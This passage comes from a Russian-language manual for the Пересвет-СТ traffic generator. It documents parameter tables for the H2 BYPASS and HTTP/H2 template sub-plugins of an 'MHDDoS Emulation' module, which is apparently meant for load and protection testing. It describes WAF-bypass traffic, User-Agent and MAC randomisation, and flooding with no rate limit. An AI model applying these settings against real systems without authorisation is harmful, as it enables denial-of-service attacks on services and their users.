| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 140;
Табл. 140 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение Значение по умолчанию: «10» |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение Значение по умолчанию: «0» |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение Значение по умолчанию: «1» |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение Значение по умолчанию: «10» |
H2 BYPASS
H2 BYPASS – подплагин для генерации трафика, направленный на обход стандартных мер защиты (например, фильтров или WAF), используя протокол HTTP 2.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 141;
Табл. 141 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 142;
Табл. 142 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 143;
Табл. 143 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 144;
Табл. 144 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 145;
Табл. 145 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включен | выберите значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | По умолчанию, задано значение HTTP 2 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | По умолчанию, задано значение «GET» |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 146;
Табл. 146 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение Значение по умолчанию: «10» |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение Значение по умолчанию: «0» |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение Значение по умолчанию: «1» |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение Значение по умолчанию: «20» |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение Значение по умолчанию: «10» |
HTTP TEMPLATE
HTTP TEMPLATE – подплагин для генерации трафика, направленный на генерацию HTTP-запросов по заданному шаблону для имитации легитимного или вредоносного трафика.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 147;
Табл. 147 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 148;
Табл. 148 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 149;
Табл. 149 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 150;
Табл. 150 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 151;
Табл. 151 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включен | выберите значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | По умолчанию, задано значение HTTP 1.1 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | выберите из следующего списка: GET POST PUT PATCH DELETE |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Тело запроса | Часть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON) Параметр доступен если выбраны методы: POST, PUT или PATCH | Заполните поле «тело запроса» следующим образом: Введите значение тело запроса ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 152;
Табл. 152 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение Значение по умолчанию: «10» |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение Значение по умолчанию: «0» |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение Значение по умолчанию: «1» |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение Значение по умолчанию: «0» |
H2 HTTP TEMPLATE
H2 HTTP TEMPLATE – подплагин для генерации трафика, направленный на генерацию HTTP-запросов по заданному шаблону для имитации легитимного или вредоносного трафика, используя протокол HTTP 2.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 153;
Табл. 153 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 154;
Табл. 154 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 155;
Табл. 155 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 156;
Табл. 156 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 157;
Табл. 157 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включен | выберите значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | По умолчанию, задано значение HTTP 2 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | выберите из следующего списка: GET POST PUT PATCH DELETE |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Тело запроса | Часть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON) Параметр доступен если выбраны методы: POST, PUT или PATCH | Заполните поле «тело запроса» следующим образом: Введите значение тело запроса ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 158;
Табл. 158 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение Значение по умолчанию: «10» |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение Значение по умолчанию: «0» |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение Значение по умолчанию: «1» |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение Значение по умолчанию: «20» |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение По умолчанию выставлено значение: 10. |
